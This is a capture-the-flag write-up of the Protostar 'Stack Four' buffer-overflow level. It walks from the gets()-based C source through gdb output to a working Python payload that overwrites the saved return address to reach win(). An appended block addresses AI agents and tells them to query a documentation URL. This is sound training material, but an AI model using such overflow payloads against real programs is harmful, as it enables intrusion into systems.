# Stack Four

> Stack4 takes a look at overwriting saved EIP and standard buffer overflows. This level is at /opt/protostar/bin/stack4&#x20;
>
> **Hints**
>
> * A variety of introductory papers into buffer overflows may help
> * gdb lets you do “run < input
> * EIP is not directly after the end of buffer, compiler padding can also increase the size.

## Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

In this program, we have the `win` function.

There is no initialized function pointer in the `main` function. There fore we will have to overwrite the saved `eip`, also known as the the saved return address.

The saved return address is located before the buffer.

```
                    +-------------------------+                                                       
entry esp --------> |     saved eip           |
                    |     (return address)    |
                    |-------------------------|                                                           
new ebp ----------> |     saved ebp           |
                    |-------------------------|
                    |     buff [63]           |
                    |          .              |
                    |          .              |
                    |          .              |
                    |     buff [0]            |
                    |-------------------------|
new esp ----------> |     i                   |
                    +-------------------------+
```

That was a generalized representation.

We need the exact layout of the stack in order to craft our payload.

```
(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>:    push   ebp
0x08048409 <main+1>:    mov    ebp,esp
0x0804840b <main+3>:    and    esp,0xfffffff0
0x0804840e <main+6>:    sub    esp,0x50
0x08048411 <main+9>:    lea    eax,[esp+0x10]
0x08048415 <main+13>:   mov    DWORD PTR [esp],eax
0x08048418 <main+16>:   call   0x804830c <gets@plt>
0x0804841d <main+21>:   leave
0x0804841e <main+22>:   ret
```

Set a breakpoint at `main+21` and pass in the following input:

```
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz
```

This will lead to segmentation fault.

```
Program received signal SIGSEGV, Segmentation fault.
0x74747474 in ?? ()
```

The error message tells us that the value of stored `eip` was changed to `0x74747474` which is not a valid address. `0x74` is `t` in ASCII.

Let's try to get a clearer picture.

```
(gdb) info registers
eax            0xbffff770       -1073744016
ecx            0xbffff770       -1073744016
edx            0xb7fd9334       -1208118476
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff7c0       0xbffff7c0
ebp            0x73737373       0x73737373
esi            0x0      0
edi            0x0      0
eip            0x74747474       0x74747474
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
```

So the 77th, 78th, 79th and 80th bytes from our input overwrote the saved `eip`, and the four bytes before those which were `ssss` overwrote the saved `ebp`.

This means we need 80 bytes in total. 64 bytes to fill the `buffer`, 8 bytes of padding, 4 bytes to overwrite the `saved ebp` and 4 for overwriting the `saved eip`.

In order to alter control flow to the `win` function, we first need to know its address.

```
(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>:     push   ebp
0x080483f5 <win+1>:     mov    ebp,esp
0x080483f7 <win+3>:     sub    esp,0x18
0x080483fa <win+6>:     mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:    call   0x804832c <puts@plt>
0x08048406 <win+18>:    leave
0x08048407 <win+19>:    ret
End of assembler dump.
```

These four bytes need to be the `0x080483f4` address in little-endian format.

### Exploit

```
$ python -c 'print "A"*76 + "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kunalwalavalkar.gitbook.io/write-ups/exploit-education/protostar/stack-four.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
